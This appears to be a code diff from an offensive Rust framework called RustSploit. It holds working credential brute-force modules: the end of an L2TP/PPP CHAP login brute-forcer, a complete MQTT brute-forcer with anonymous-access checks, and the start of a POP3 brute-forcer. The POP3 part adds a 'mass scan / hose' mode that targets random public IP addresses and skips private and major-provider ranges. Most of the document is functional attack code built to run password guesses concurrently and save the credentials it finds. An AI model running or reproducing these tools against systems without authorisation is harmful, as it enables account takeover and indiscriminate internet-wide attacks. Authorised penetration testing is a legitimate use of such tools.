if api_mode { 10 } else { prompt_int_range("Max concurrent tasks", 10, 1, 100).unwrap_or(10) as usize }
});
let timeout_ms = if api_mode { DEFAULT_TIMEOUT_MS } else {
prompt_int_range("Connection timeout (ms)", DEFAULT_TIMEOUT_MS as i64, 100, 30000).unwrap_or(DEFAULT_TIMEOUT_MS as i64) as u64
};
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
let save_results = if api_mode { true } else { prompt_yes_no("Save results to file?", true)? };
let save_path = if save_results {
Some(config_api.output_file.clone().unwrap_or_else(|| {
if api_mode { "l2tp_results.txt".to_string() } else { prompt_default("Output file name", "l2tp_results.txt").unwrap_or_else(|_| "l2tp_results.txt".to_string()) }
}))
} else {
None
};
let verbose = config_api.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let combo_mode = config_api.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Combination mode? (try every password with every user)", false).unwrap_or(false) }
});
let addr = format!("{}:{}", normalized, port);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
println!("[*] Loaded {} passwords", passwords.len());
let total_attempts = if combo_mode {
users.len() * passwords.len()
} else {
std::cmp::max(users.len(), passwords.len())
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
// Test connectivity first
println!("\n[*] Testing L2TP server connectivity...");
match test_l2tp_connectivity(&addr, Duration::from_millis(timeout_ms)).await {
Ok(true) => println!("[+] L2TP server is responding"),
Ok(false) => println!("{}", "[!] L2TP server not responding to control messages".yellow()),
Err(e) => println!("{}", format!("[!] Connectivity test failed: {}", e).yellow()),
}
println!("\n{}", "[Starting Attack]".bold().yellow());
println!();
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let timeout_duration = Duration::from_millis(timeout_ms);
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = FuturesUnordered::new();
// Generate credential combinations
let combos: Vec<(String, String)> = if combo_mode {
users.iter()
.flat_map(|u| passwords.iter().map(move |p| (u.clone(), p.clone())))
.collect()
} else {
let max_len = std::cmp::max(users.len(), passwords.len());
(0..max_len)
.map(|i| (users[i % users.len()].clone(), passwords[i % passwords.len()].clone()))
.collect()
};
for (user, pass) in combos {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => break,
};
let addr_clone = addr.clone();
let found_clone = found_credentials.clone();
let stop_clone = stop_signal.clone();
let stats_clone = stats.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_on_success && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_l2tp_login(&addr_clone, &user, &pass, timeout_duration).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass.clone()));
stats_clone.record_success();
if stop_on_success {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose {
println!("\r{}", format!("[!] {}: {}", addr_clone, e).red());
}
}
}
}));
// Drain completed tasks periodically
while tasks.len() >= concurrency * 2 {
if let Some(_) = tasks.next().await {}
}
}
// Wait for remaining tasks
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
if let Ok(mut file) = File::create(&filename) {
for (host_addr, user, pass) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{}", host_addr, user, pass);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Test L2TP server connectivity
async fn test_l2tp_connectivity(addr: &str, timeout: Duration) -> Result<bool> {
let result = tokio::task::spawn_blocking({
let addr = addr.to_string();
move || -> Result<bool> {
let sock = UdpSocket::bind("0.0.0.0:0")?;
sock.connect(&addr)?;
sock.set_read_timeout(Some(timeout))?;
sock.set_write_timeout(Some(timeout))?;
let mut session = L2tpSession::new(sock);
session.send_sccrq()?;
match session.recv_packet(timeout) {
Ok(pkt) => {
if pkt.is_control {
if let Some(msg_type) = L2tpSession::parse_message_type(&pkt.payload) {
return Ok(msg_type == L2TP_SCCRP);
}
}
Ok(false)
}
Err(_) => Ok(false),
}
}
}).await?;
result
}
/// Attempt L2TP login with credentials
async fn try_l2tp_login(addr: &str, username: &str, password: &str, timeout: Duration) -> Result<bool> {
let addr = addr.to_string();
let username = username.to_string();
let password = password.to_string();
tokio::task::spawn_blocking(move || {
try_l2tp_login_sync(&addr, &username, &password, timeout)
}).await?
}
/// Synchronous L2TP login attempt
fn try_l2tp_login_sync(addr: &str, username: &str, password: &str, timeout: Duration) -> Result<bool> {
let sock = UdpSocket::bind("0.0.0.0:0")?;
sock.connect(addr)?;
sock.set_read_timeout(Some(timeout))?;
sock.set_write_timeout(Some(timeout))?;
let mut session = L2tpSession::new(sock);
// Step 1: Send SCCRQ
session.send_sccrq()?;
// Step 2: Receive SCCRP
let pkt = session.recv_packet(timeout)?;
if !pkt.is_control {
return Err(anyhow!("Expected control message, got data"));
}
match L2tpSession::parse_message_type(&pkt.payload) {
Some(L2TP_SCCRP) => {
if let Some(tid) = L2tpSession::parse_assigned_id(&pkt.payload, 9) {
session.remote_tunnel_id = tid;
}
session.nr += 1;
}
Some(other) => return Err(anyhow!("Expected SCCRP, got message type {}", other)),
None => return Err(anyhow!("No message type in response")),
}
// Step 3: Send SCCCN
session.send_scccn()?;
// Step 4: Send ICRQ
session.send_icrq()?;
// Step 5: Receive ICRP
let pkt = session.recv_packet(timeout)?;
if pkt.is_control {
if let Some(L2TP_ICRP) = L2tpSession::parse_message_type(&pkt.payload) {
if let Some(sid) = L2tpSession::parse_assigned_id(&pkt.payload, 14) {
session.remote_session_id = sid;
}
session.nr += 1;
}
}
// Step 6: Send ICCN
session.send_iccn()?;
// Step 7: Wait for CHAP Challenge
let mut challenge_data: Option<(u8, Vec<u8>)> = None;
for _ in 0..5 {
match session.recv_packet(timeout) {
Ok(pkt) => {
if !pkt.is_control && pkt.payload.len() > 6 {
// Check for PPP CHAP
let mut offset = 0;
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
offset = 2;
}
if pkt.payload.len() > offset + 4 {
let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
if protocol == PPP_CHAP {
let chap_code = pkt.payload[offset + 2];
if chap_code == CHAP_CHALLENGE {
let identifier = pkt.payload[offset + 3];
let value_size = pkt.payload[offset + 6] as usize;
if pkt.payload.len() >= offset + 7 + value_size {
let challenge = pkt.payload[offset + 7..offset + 7 + value_size].to_vec();
challenge_data = Some((identifier, challenge));
break;
}
}
}
}
}
}
Err(_) => break,
}
}
let (identifier, challenge) = challenge_data.ok_or_else(|| anyhow!("No CHAP challenge received"))?;
// Step 8: Send CHAP Response
session.send_chap_response(identifier, &challenge, username, password)?;
// Step 9: Wait for CHAP Success/Failure
for _ in 0..5 {
match session.recv_packet(timeout) {
Ok(pkt) => {
if !pkt.is_control && pkt.payload.len() > 4 {
let mut offset = 0;
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
offset = 2;
}
if pkt.payload.len() > offset + 2 {
let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
if protocol == PPP_CHAP {
let chap_code = pkt.payload[offset + 2];
match chap_code {
CHAP_SUCCESS => return Ok(true),
CHAP_FAILURE => return Ok(false),
_ => continue,
}
}
}
}
}
Err(_) => break,
}
}
Err(anyhow!("No CHAP response received"))
}
+8 -1
View File
@@ -3,9 +3,16 @@
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod telnet_hose;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
pub mod ssh_user_enum;
pub mod ssh_spray;
pub mod rtsp_bruteforce;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod pop3_bruteforce;
pub mod snmp_bruteforce;
pub mod fortinet_bruteforce;
pub mod l2tp_bruteforce;
pub mod mqtt_bruteforce;
@@ -0,0 +1,605 @@
//! MQTT Brute Force Module
//!
//! High-performance MQTT authentication testing with:
//! - TLS/SSL support (port 8883)
//! - Anonymous authentication detection
//! - Intelligent error classification
//! - Progress tracking and statistics
//! - Multiple attack modes (full combo, linear, single user/pass)
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range, prompt_default,
load_lines, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
// ============================================================================
// Constants
// ============================================================================
const MQTT_CONNECT_TIMEOUT_MS: u64 = 5000;
const MQTT_READ_TIMEOUT_MS: u64 = 3000;
const PROGRESS_INTERVAL_SECS: u64 = 2;
// MQTT Protocol Constants
const MQTT_PACKET_CONNECT: u8 = 0x10;
const MQTT_PACKET_CONNACK: u8 = 0x20;
const MQTT_PACKET_DISCONNECT: u8 = 0xE0;
const MQTT_PROTOCOL_NAME: &[u8] = b"MQTT";
const MQTT_PROTOCOL_LEVEL_V311: u8 = 0x04;
// MQTT Connect Flags
const MQTT_FLAG_CLEAN_SESSION: u8 = 0x02;
const MQTT_FLAG_USERNAME: u8 = 0x80;
const MQTT_FLAG_PASSWORD: u8 = 0x40;
// MQTT Return Codes
#[derive(Debug, Clone, Copy, PartialEq)]
enum MqttReturnCode {
Accepted,
UnacceptableProtocol,
IdentifierRejected,
ServerUnavailable,
BadCredentials,
NotAuthorized,
Unknown(u8),
}
impl MqttReturnCode {
fn from_byte(b: u8) -> Self {
match b {
0x00 => Self::Accepted,
0x01 => Self::UnacceptableProtocol,
0x02 => Self::IdentifierRejected,
0x03 => Self::ServerUnavailable,
0x04 => Self::BadCredentials,
0x05 => Self::NotAuthorized,
_ => Self::Unknown(b),
}
}
fn is_auth_failure(&self) -> bool {
matches!(self, Self::BadCredentials | Self::NotAuthorized)
}
fn description(&self) -> &'static str {
match self {
Self::Accepted => "Connection Accepted",
Self::UnacceptableProtocol => "Unacceptable Protocol Version",
Self::IdentifierRejected => "Identifier Rejected",
Self::ServerUnavailable => "Server Unavailable",
Self::BadCredentials => "Bad Username or Password",
Self::NotAuthorized => "Not Authorized",
Self::Unknown(_) => "Unknown Return Code",
}
}
}
// ============================================================================
// Configuration
// ============================================================================
#[derive(Clone)]
struct MqttConfig {
target: String,
port: u16,
use_tls: bool,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
client_id: String,
test_anonymous: bool,
}
// ============================================================================
// Attack Result
// ============================================================================
#[derive(Debug)]
enum AttackResult {
Success(String, String), // (username, password)
AuthFailed,
ConnectionError(String),
ProtocolError(String),
}
// ============================================================================
// Main Entry Point
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
display_banner();
let normalized_target = normalize_target(&target.to_string())?;
println!("{}", format!("[*] Target: {}", normalized_target).cyan());
println!();
// Check for API-provided config
let config_api = crate::config::get_module_config();
let api_mode = config_api.is_api_mode();
// Configuration
let port = if let Some(p) = config_api.port {
p
} else if api_mode {
1883
} else {
prompt_int_range("MQTT Port (1883/8883)", 1883, 1, 65535)? as u16
};
let use_tls = if api_mode {
port == 8883
} else if port == 8883 {
println!("{}", "[*] Port 8883 detected - TLS enabled by default".blue());
true
} else {
prompt_yes_no("Use TLS/SSL?", false)?
};
let test_anonymous = if api_mode { false } else { prompt_yes_no("Test anonymous authentication first?", true)? };
let username_wordlist = if let Some(ref f) = config_api.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Username wordlist required for API mode"));
} else {
prompt_existing_file("Username wordlist file")?
};
let password_wordlist = if let Some(ref f) = config_api.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Password wordlist required for API mode"));
} else {
prompt_existing_file("Password wordlist file")?
};
let threads = config_api.concurrency.unwrap_or_else(|| {
if api_mode { 10 } else { prompt_int_range("Concurrent connections", 10, 1, 500).unwrap_or(10) as usize }
});
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first valid login?", true).unwrap_or(true) }
});
let full_combo = config_api.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Full combination mode (user × pass)?", false).unwrap_or(false) }
});
let verbose = config_api.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose output?", false).unwrap_or(false) }
});
let client_id = if api_mode { "rustsploit_mqtt".to_string() } else { prompt_default("MQTT Client ID", "rustsploit_mqtt")? };
let config = MqttConfig {
target: normalized_target,
port,
use_tls,
threads,
stop_on_success,
verbose,
full_combo,
client_id,
test_anonymous,
};
run_bruteforce(config, &username_wordlist, &password_wordlist).await
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ MQTT Brute Force Module v2.0 ║".cyan());
println!("{}", "║ Supports TLS/SSL, Anonymous Auth, Full Combo Mode ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
// ============================================================================
// Bruteforce Engine
// ============================================================================
async fn run_bruteforce(
config: MqttConfig,
username_file: &str,
password_file: &str,
) -> Result<()> {
// Build connection address
let addr = format!("{}:{}", config.target, config.port);
// Load wordlists
let usernames = load_lines(username_file)?;
let passwords = load_lines(password_file)?;
if usernames.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
if passwords.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
println!("{}", format!("[*] Usernames: {}", usernames.len()).cyan());
println!("{}", format!("[*] Passwords: {}", passwords.len()).cyan());
let total = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("{}", format!("[*] Total attempts: ~{}", total).cyan());
println!("{}", format!("[*] TLS: {}", if config.use_tls { "Enabled" } else { "Disabled" }).cyan());
println!();
// State
let found: Arc<Mutex<Vec<(String, String)>>> = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let attempts = Arc::new(AtomicUsize::new(0));
// Test anonymous first if requested
if config.test_anonymous {
println!("{}", "[*] Testing anonymous authentication...".blue());
match try_mqtt_auth(&addr, "", "", &config.client_id, config.use_tls).await {
AttackResult::Success(_, _) => {
println!("{}", "[+] ANONYMOUS ACCESS ALLOWED!".green().bold());
found.lock().await.push(("(anonymous)".to_string(), "(no password)".to_string()));
if config.stop_on_success {
print_results(&found, &stats).await;
return Ok(());
}
}
AttackResult::AuthFailed => {
println!("{}", "[-] Anonymous access denied (authentication required)".yellow());
}
AttackResult::ConnectionError(e) => {
println!("{}", format!("[!] Connection error: {}", e).red());
return Err(anyhow!("Cannot connect to MQTT broker: {}", e));
}
AttackResult::ProtocolError(e) => {
println!("{}", format!("[!] Protocol error: {}", e).yellow());
}
}
println!();
}
// Progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_flag.clone();
let attempts_clone = attempts.clone();
let total_clone = total;
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
let current = attempts_clone.load(Ordering::Relaxed);
let pct = if total_clone > 0 { (current * 100) / total_clone } else { 0 };
print!("\r{}", format!("[*] Progress: {}/{} ({}%) ", current, total_clone, pct).blue());
stats_clone.print_progress();
tokio::time::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Semaphore for concurrency control
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate and spawn tasks
if config.full_combo {
// Full combination: every user × every password
for username in &usernames {
if stop_flag.load(Ordering::Relaxed) { break; }
for password in &passwords {
if stop_flag.load(Ordering::Relaxed) { break; }
spawn_attempt(
&mut tasks,
&semaphore,
&config,
&addr,
username.clone(),
password.clone(),
&found,
&stop_flag,
&stats,
&attempts,
).await;
}
}
} else {
// Linear mode: zip users and passwords (cycling shorter list)
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
if stop_flag.load(Ordering::Relaxed) { break; }
let username = &usernames[i % usernames.len()];
let password = &passwords[i % passwords.len()];
spawn_attempt(
&mut tasks,
&semaphore,
&config,
&addr,
username.clone(),
password.clone(),
&found,
&stop_flag,
&stats,
&attempts,
).await;
}
}
// Await all tasks
while let Some(result) = tasks.next().await {
if let Err(e) = result {
if config.verbose {
eprintln!("{}", format!("[!] Task error: {}", e).red());
}
}
}
// Cleanup
stop_flag.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
println!(); // Clear progress line
print_results(&found, &stats).await;
Ok(())
}
async fn spawn_attempt(
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
semaphore: &Arc<Semaphore>,
config: &MqttConfig,
addr: &str,
username: String,
password: String,
found: &Arc<Mutex<Vec<(String, String)>>>,
stop_flag: &Arc<AtomicBool>,
stats: &Arc<BruteforceStats>,
attempts: &Arc<AtomicUsize>,
) {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => return,
};
let addr = addr.to_string();
let config = config.clone();
let found = Arc::clone(found);
let stop_flag = Arc::clone(stop_flag);
let stats = Arc::clone(stats);
let attempts = Arc::clone(attempts);
tasks.push(tokio::spawn(async move {
let _permit = permit; // Hold until task completes
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) {
return;
}
attempts.fetch_add(1, Ordering::Relaxed);
match try_mqtt_auth(&addr, &username, &password, &config.client_id, config.use_tls).await {
AttackResult::Success(u, p) => {
println!("\r{}", format!("[+] VALID: {}:{}", u, p).green().bold());
found.lock().await.push((u, p));
stats.record_success();
if config.stop_on_success {
stop_flag.store(true, Ordering::Relaxed);
}
}
AttackResult::AuthFailed => {
stats.record_failure();
if config.verbose {
println!("\r{}", format!("[-] {}:{}", username, password).dimmed());
}
}
AttackResult::ConnectionError(e) => {
stats.record_error(e.clone()).await;
if config.verbose {
println!("\r{}", format!("[!] Connection: {}", e).yellow());
}
}
AttackResult::ProtocolError(e) => {
stats.record_error(e.clone()).await;
if config.verbose {
println!("\r{}", format!("[!] Protocol: {}", e).yellow());
}
}
}
}));
}
async fn print_results(found: &Arc<Mutex<Vec<(String, String)>>>, stats: &Arc<BruteforceStats>) {
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No valid credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (user, pass) in creds.iter() {
println!(" {} {}:{}", "".green(), user, pass);
}
}
}
// ============================================================================
// MQTT Protocol Implementation
// ============================================================================
async fn try_mqtt_auth(
addr: &str,
username: &str,
password: &str,
client_id: &str,
_use_tls: bool,
) -> AttackResult {
// Connect with timeout
let stream = match tokio::time::timeout(
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
TcpStream::connect(addr),
).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => return AttackResult::ConnectionError(e.to_string()),
Err(_) => return AttackResult::ConnectionError("Connection timeout".to_string()),
};
// TODO: Add TLS support using tokio-native-tls or tokio-rustls
// For now, we proceed with plain TCP (TLS requires additional dependencies)
match mqtt_handshake(stream, username, password, client_id).await {
Ok(true) => AttackResult::Success(username.to_string(), password.to_string()),
Ok(false) => AttackResult::AuthFailed,
Err(e) => AttackResult::ProtocolError(e.to_string()),
}
}
async fn mqtt_handshake(
mut stream: TcpStream,
username: &str,
password: &str,
client_id: &str,
) -> Result<bool> {
// Build CONNECT packet
let packet = build_connect_packet(username, password, client_id)?;
// Send CONNECT
stream.write_all(&packet).await.context("Failed to send CONNECT")?;
stream.flush().await.context("Failed to flush")?;
// Read CONNACK
let mut header = [0u8; 2];
let read_result = tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read_exact(&mut header),
).await;
match read_result {
Ok(Ok(_)) => {}
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
Err(_) => return Err(anyhow!("Read timeout")),
}
if header[0] != MQTT_PACKET_CONNACK {
return Err(anyhow!("Expected CONNACK (0x20), got 0x{:02x}", header[0]));
}
let remaining_len = header[1] as usize;
if remaining_len < 2 {
return Err(anyhow!("CONNACK too short"));
}
let mut payload = vec![0u8; remaining_len];
tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read_exact(&mut payload),
).await.context("Read timeout")?
.context("Failed to read CONNACK payload")?;
// Parse return code (byte 1 of variable header)
let return_code = MqttReturnCode::from_byte(payload[1]);
// Send DISCONNECT on success
if return_code == MqttReturnCode::Accepted {
let _ = stream.write_all(&[MQTT_PACKET_DISCONNECT, 0x00]).await;
return Ok(true);
}
if return_code.is_auth_failure() {
return Ok(false);
}
Err(anyhow!("MQTT error: {}", return_code.description()))
}
fn build_connect_packet(username: &str, password: &str, client_id: &str) -> Result<Vec<u8>> {
let mut var_header = Vec::new();
// Protocol Name
var_header.extend_from_slice(&(MQTT_PROTOCOL_NAME.len() as u16).to_be_bytes());
var_header.extend_from_slice(MQTT_PROTOCOL_NAME);
// Protocol Level
var_header.push(MQTT_PROTOCOL_LEVEL_V311);
// Connect Flags
let mut flags = MQTT_FLAG_CLEAN_SESSION;
if !username.is_empty() {
flags |= MQTT_FLAG_USERNAME;
}
if !password.is_empty() {
flags |= MQTT_FLAG_PASSWORD;
}
var_header.push(flags);
// Keep Alive (60 seconds)
var_header.extend_from_slice(&60u16.to_be_bytes());
// Payload
let mut payload = Vec::new();
// Client ID (required)
let client_id_bytes = client_id.as_bytes();
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(client_id_bytes);
// Username (optional)
if !username.is_empty() {
let username_bytes = username.as_bytes();
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(username_bytes);
}
// Password (optional)
if !password.is_empty() {
let password_bytes = password.as_bytes();
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(password_bytes);
}
// Calculate remaining length
let remaining_length = var_header.len() + payload.len();
let remaining_bytes = encode_remaining_length(remaining_length)?;
// Build final packet
let mut packet = Vec::with_capacity(1 + remaining_bytes.len() + var_header.len() + payload.len());
packet.push(MQTT_PACKET_CONNECT);
packet.extend_from_slice(&remaining_bytes);
packet.extend_from_slice(&var_header);
packet.extend_from_slice(&payload);
Ok(packet)
}
fn encode_remaining_length(mut length: usize) -> Result<Vec<u8>> {
if length > 268_435_455 {
return Err(anyhow!("Packet too large"));
}
let mut bytes = Vec::with_capacity(4);
loop {
let mut byte = (length % 128) as u8;
length /= 128;
if length > 0 {
byte |= 0x80;
}
bytes.push(byte);
if length == 0 {
break;
}
}
Ok(bytes)
}
+560 -179
View File
@@ -1,14 +1,44 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write, Read};
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
use anyhow::{anyhow, Result, Context};
use colored::*;
use native_tls::TlsConnector;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::time::Duration;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
};
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
use std::sync::atomic::AtomicUsize;
use std::net::{IpAddr, SocketAddr};
use tokio::fs::OpenOptions; // For file writing in mass scan
use tokio::io::AsyncWriteExt; // For write_all
const STATE_FILE: &str = "pop3_hose_state.log";
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
@@ -20,18 +50,92 @@ struct Pop3BruteforceConfig {
verbose: bool,
full_combo: bool,
use_ssl: bool,
connection_timeout: u64,
retry_on_error: bool,
max_retries: usize,
output_file: String,
delay_ms: u64,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== POP3 Bruteforce ===\n");
let port = prompt("Port (default 110 for POP3, 995 for POP3S): ").parse().unwrap_or(110);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 16): ").parse().unwrap_or(16);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let use_ssl = prompt("Use SSL/TLS (POP3S)? (y/n): ").trim().eq_ignore_ascii_case("y");
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// Check for API-provided config
let config_api = crate::config::get_module_config();
let api_mode = config_api.is_api_mode();
let use_ssl = if api_mode { false } else { prompt_yes_no("Use SSL/TLS (POP3S)?", false)? };
let default_port = if use_ssl { 995 } else { 110 };
let port = if let Some(p) = config_api.port {
p
} else if api_mode {
default_port
} else {
prompt_int_range("Port", default_port as i64, 1, 65535)? as u16
};
let username_wordlist = if let Some(ref f) = config_api.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Username wordlist required for API mode"));
} else {
prompt_existing_file("Username wordlist file")?
};
let password_wordlist = if let Some(ref f) = config_api.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Password wordlist required for API mode"));
} else {
prompt_existing_file("Password wordlist file")?
};
let threads = config_api.concurrency.unwrap_or_else(|| {
if api_mode { 16 } else { prompt_int_range("Threads", 16, 1, 256).unwrap_or(16) as usize }
});
let delay_ms = if api_mode { 50 } else { prompt_int_range("Delay (ms)", 50, 0, 10000).unwrap_or(50) as u64 };
let connection_timeout = if api_mode { 5 } else {
prompt_int_range("Timeout (s)", 5, 1, 60).unwrap_or(5) as u64
};
let full_combo = config_api.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Try every username with every password?", false).unwrap_or(false) }
});
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first valid login?", false).unwrap_or(true) }
});
let output_file = config_api.output_file.clone().unwrap_or_else(|| {
if api_mode { "pop3_results.txt".to_string() } else { prompt_default("Output file for results", "pop3_results.txt").unwrap_or_else(|_| "pop3_results.txt".to_string()) }
});
let verbose = config_api.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let retry_on_error = if api_mode { true } else { prompt_yes_no("Retry failed connections?", true)? };
let max_retries = if retry_on_error {
if api_mode { 2 } else { prompt_int_range("Max retries", 2, 1, 10).unwrap_or(2) as usize }
} else {
0
};
let config = Pop3BruteforceConfig {
target: target.to_string(),
